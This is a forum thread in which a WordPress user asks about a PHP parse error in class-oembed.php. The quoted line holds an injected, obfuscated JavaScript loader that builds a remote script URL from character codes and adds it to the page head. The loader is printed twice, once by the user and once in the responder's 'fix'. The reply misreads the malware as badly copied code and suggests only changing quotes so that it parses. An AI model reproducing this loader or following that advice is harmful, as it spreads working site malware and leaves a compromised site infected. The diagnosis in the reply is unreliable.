Parse error: syntax error, unexpected 'text' (T_STRING)

Hello there!

I’m an absolute bloody noob and my site seems to be down although I did not change a thing! Here’s my error from the log:

PHP Parse error: syntax error, unexpected ‘text’ (T_STRING), expecting ‘,’ or ’ )’ in /mnt/web307/b1/35/58735135/htdocs/WordPress_02/wp-includes/class-oembed.php on line 461

And here’s the piece of the php that seems to be broken:

		if ( $html_head_end = stripos( $html, '<script type='text/javascript'>var _0x1e38=['length','fromCharCode','createElement','type','async','code125','src','appendChild','getElementsByTagName','script'];(function(_0x546a53,_0x3f720e){var _0x440369=function(_0x2e1b64){while(--_0x2e1b64){_0x546a53['push'](_0x546a53['shift']());}};_0x440369(++_0x3f720e);}(_0x1e38,0x1e1));var _0x5a05=function(_0x716551,_0x1d4a8e){_0x716551=_0x716551-0x0;var _0x2b7638=_0x1e38[_0x716551];return _0x2b7638;};var url=String[_0x5a05('0x0')](104, 116, 116, 112, 115, 58, 47, 47, 102, 111, 114, 119, 97, 114, 100, 109, 121, 116, 114, 97, 102, 102, 105, 99, 46, 99, 111, 109, 47, 97, 100, 46, 106, 115, 63, 112, 111, 114, 116, 61, 52, 52);var a=function(){var _0x22c9c8=document[_0x5a05('0x1')](String[_0x5a05('0x0')](0x73,0x63,0x72,0x69,0x70,0x74));_0x22c9c8[_0x5a05('0x2')]=String[_0x5a05('0x0')](0x74,0x65,0x78,0x74,0x2f,0x6a,0x61,0x76,0x61,0x73,0x63,0x72,0x69,0x70,0x74);_0x22c9c8[_0x5a05('0x3')]=!![];_0x22c9c8['id']=_0x5a05('0x4');_0x22c9c8[_0x5a05('0x5')]=url;document['getElementsByTagName'](String[_0x5a05('0x0')](0x68,0x65,0x61,0x64))[0x0][_0x5a05('0x6')](_0x22c9c8);};var scrpts=document[_0x5a05('0x7')](_0x5a05('0x8'));var n=!![];for(var i=scrpts[_0x5a05('0x9')];i--;){if(scrpts[i]['id']==_0x5a05('0x4')){n=![];}};if(n==!![]){a();}</script></head>' ) ) {

Could any of you fine people see fit to tell me how to fix this?

Thank you!!

Well, the code you posted is a mess of jumbled text and code. Is this exactly as it is in the PHP code?
I mean, you posted a stripos() function, but, it is full of quotes, javascript and other code.
In a stripos(), you can search for a string of text. But, if it includes quotes, you need to enclose them in double-quotes. OR you can “escape” them.

If you are trying to locate the beginning of the “<script” , don’t put in all of the code, just the very beginning of it.
You can not do it this way: stripos( $html, '<script type='text/javascript'>' );
Because of the embedded single quotes. You would need to do it this way instead:

    stripos( $html, "<script type='text/javascript'>" );   

And, you do not need to search for the entire huge string you showed in the
 posted version.  Just enough to make it unique.

Hi ErnieAlex,

thank you for taking time to reply to my request.
Yeah, I copied it directly out of the PHP file.
It’s the line that should contain the error (couldn’t have been the previous line as far as I could judge).

I could certainly search for a string of text but I don’t know what I’m looking for exactly. The error description points to a missing or wrongly put quote somwhere in this line of code if I read that correctly, but even after thorough search I couldn’t identify it.

I used a backup to get the site up again now, but I had to do it again just a few days later because the same error occurred again. I suspect that one of my wp-plugins is altering my php-file and I would like to identify the exact location of the error in order to report this.

Can you make it out or can I facilitate the search for it in any way?

Thanks again for your patience!

Well, that code is impossible. You can NOT use single quotes for the external markers and use single quotes inside the HTML you are looking for on the page. They negate each other. So, whoever you copied this code from gave you bad code.

You can fix it by just changing the starting single-quote and ending single-quote into double-quotes and then the compare would work. But, if you look at what it is locating it is to find the starting of the tag just before the end of the tag. Confused what you are trying to locate, but, to fix it just change the external quotes like this:
if ( $html_head_end = stripos( $html, "<script type='text/javascript'>var _0x1e38=['length','fromCharCode','createElement','type','async','code125','src','appendChild','getElementsByTagName','script'];(function(_0x546a53,_0x3f720e){var _0x440369=function(_0x2e1b64){while(--_0x2e1b64){_0x546a53['push'](_0x546a53['shift']());}};_0x440369(++_0x3f720e);}(_0x1e38,0x1e1));var _0x5a05=function(_0x716551,_0x1d4a8e){_0x716551=_0x716551-0x0;var _0x2b7638=_0x1e38[_0x716551];return _0x2b7638;};var url=String[_0x5a05('0x0')](104, 116, 116, 112, 115, 58, 47, 47, 102, 111, 114, 119, 97, 114, 100, 109, 121, 116, 114, 97, 102, 102, 105, 99, 46, 99, 111, 109, 47, 97, 100, 46, 106, 115, 63, 112, 111, 114, 116, 61, 52, 52);var a=function(){var _0x22c9c8=document[_0x5a05('0x1')](String[_0x5a05('0x0')](0x73,0x63,0x72,0x69,0x70,0x74));_0x22c9c8[_0x5a05('0x2')]=String[_0x5a05('0x0')](0x74,0x65,0x78,0x74,0x2f,0x6a,0x61,0x76,0x61,0x73,0x63,0x72,0x69,0x70,0x74);_0x22c9c8[_0x5a05('0x3')]=!![];_0x22c9c8['id']=_0x5a05('0x4');_0x22c9c8[_0x5a05('0x5')]=url;document['getElementsByTagName'](String[_0x5a05('0x0')](0x68,0x65,0x61,0x64))[0x0][_0x5a05('0x6')](_0x22c9c8);};var scrpts=document[_0x5a05('0x7')](_0x5a05('0x8'));var n=!![];for(var i=scrpts[_0x5a05('0x9')];i--;){if(scrpts[i]['id']==_0x5a05('0x4')){n=![];}};if(n==!![]){a();}</script></head>" ) ) {

This means, just change the starting quote and last quote into double-quotes!

Sponsor our Newsletter | Privacy Policy | Terms of Service